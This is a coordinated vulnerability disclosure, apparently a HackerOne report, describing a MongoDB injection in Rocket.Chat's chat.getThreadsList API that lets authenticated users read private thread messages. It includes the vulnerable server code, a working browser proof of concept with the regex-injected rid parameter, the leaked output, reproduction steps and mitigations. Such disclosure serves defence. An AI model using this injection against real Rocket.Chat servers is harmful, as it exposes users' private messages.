Lucene search

K
hackeroneGronkeH1:1446767
HistoryJan 11, 2022 - 1:21 p.m.

Rocket.Chat: API route chat.getThreadsList leaks private message content

2022-01-1113:21:40
gronke
hackerone.com
14
api route
chat.getthreadslist
private message
unauthorized users
mongo db
injection

EPSS

0.001

Percentile

24.8%

Summary

The /api/v1/chat.getThreadsList does not sanitize user inputs and can therefore leak private thread messages to unauthorized users via Mongo DB injection.

Description

The chat.getThreadsList API route is defined in app/api/server/v1/chat.js#L522-L572:

const { rid, type, text } = this.queryParams;
const { offset, count } = this.getPaginationItems();
const { sort, fields, query } = this.parseJsonQuery();

if (!rid) {
	throw new Meteor.Error('The required "rid" query param is missing.');
}
if (!settings.get('Threads_enabled')) {
	throw new Meteor.Error('error-not-allowed', 'Threads Disabled');
}
const user = Users.findOneById(this.userId, { fields: { _id: 1 } });
const room = Rooms.findOneById(rid, { fields: { t: 1, _id: 1 } });
if (!canAccessRoom(room, user)) {
	throw new Meteor.Error('error-not-allowed', 'Not Allowed');
}

const typeThread = {
	_hidden: { $ne: true },
	...(type === 'following' && { replies: { $in: [this.userId] } }),
	...(type === 'unread' && {
		_id: { $in: Subscriptions.findOneByRoomIdAndUserId(room._id, user._id).tunread },
	}),
	msg: new RegExp(escapeRegExp(text), 'i'),
};

const threadQuery = { ...query, ...typeThread, rid, tcount: { $exists: true } };
const cursor = Messages.find(threadQuery, {
	sort: sort || { tlm: -1 },
	skip: offset,
	limit: count,
	fields,
});

const total = cursor.count();

const threads = cursor.fetch();

return API.v1.success({
	threads,
	count: threads.length,
	offset,
	total,
});

Clients can provide JSON data in Query Parameters:

const { rid, type, text } = this.queryParams;

The ACL check is performed against the first room returned by Mongo DB:

const room = Rooms.findOneById(rid, { fields: { t: 1, _id: 1 } });
if (!canAccessRoom(room, user)) {
	throw new Meteor.Error('error-not-allowed', 'Not Allowed');
}

After the access permission check, the original rid parameter is again provided as Mongo DB query input, but unlike the ACL check can return multiple results:

const threadQuery = { ...query, ...typeThread, rid, tcount: { $exists: true } };
const cursor = Messages.find(threadQuery, {
	sort: sort || { tlm: -1 },
	skip: offset,
	limit: count,
	fields,
});

An authenticated adversary can provide an input that matches to multiple rooms of which the first match can be read by the malicious user. MongoDB will return the results in storage order, so that the channel that passes the ACL check must have been created before the target. For demonstration purposes the GENERAL channel was used:

const TARGET_ROOM = "<ROOM_ID>";

const fetchApi = async (url, options = {}) => {
	return fetch(`/api/v1/${url}`, {
		...options,
		headers: {
			'X-User-Id': Meteor._localStorage.getItem(Accounts.USER_ID_KEY),
			'X-Auth-Token': Meteor._localStorage.getItem(Accounts.LOGIN_TOKEN_KEY),
			'Content-Type': 'application/json',
			...(options.headers || {})
		}
	}).then((res) => res.json())
	.then((data) => { console.log(data); return data; });
};

fetchApi("chat.getThreadsList?rid[$regex]=GENERAL|${TARGET_ROOM}").then(console.log)

The object printed to the console has the secret message included in the threads property:

{
    "threads": [
        {
            "_id": "7sJLzbjDL7iL56Lmc",
            "rid": "YkJAwxJHe5t7BWimY",
            "msg": "secret message",
            "ts": "2022-01-11T12:26:20.603Z",
            "u": {
                "_id": "kYfzDMQLyPFjS9ASb",
                "username": "gronke",
                "name": "gronke"
            },
            "urls": [],
            "mentions": [],
            "channels": [],
            "md": [
                {
                    "type": "PARAGRAPH",
                    "value": [
                        {
                            "type": "PLAIN_TEXT",
                            "value": "secret message"
                        }
                    ]
                }
            ],
            "_updatedAt": "2022-01-11T12:45:40.086Z",
            "replies": [
                "kYfzDMQLyPFjS9ASb"
            ],
            "tcount": 1,
            "tlm": "2022-01-11T12:45:39.971Z"
        }
    ],
    "count": 1,
    "offset": 0,
    "total": 1,
    "success": true
}

For comparison it is not allowed to read the message directly:

>>> Meteor.call("getMessages", ["7sJLzbjDL7iL56Lmc"], console.log)
{
    "isClientSafe": true,
    "error": "error-not-allowed",
    "reason": "Not allowed",
    "details": {
        "method": "getSingleMessage"
    },
    "message": "Not allowed [error-not-allowed]",
    "errorType": "Meteor.Error"
}

Releases Affected:

  • develop

The change was introduced in #7632f12c and did not land in a release yet. Previous versions appear to be affected in a similar way, but within the query parameter instead of rid.

Steps To Reproduce (from initial installation to vulnerability):

  1. Create a thread in a private room between users Alice and Bob
  2. Login as Trudy
  3. Leak Alice and Bobs private Room ID (not discussed here)
  4. Query /api/v1/chat.getThreadsList?rid[$regex]=GENERAL|${TARGET_ROOM_ID}

Supporting Material/References:

  • List any additional material (e.g. screenshots, logs, etc.)

Suggested mitigation

  • Strictly verify input parameter type.
  • Use the ROOM ID returned for ACL verification in the final query.

Impact

Authenticated users can leak thread messages from private rooms they should not have access to.

Fix

Fixed in version 5.0>

EPSS

0.001

Percentile

24.8%

Related for H1:1446767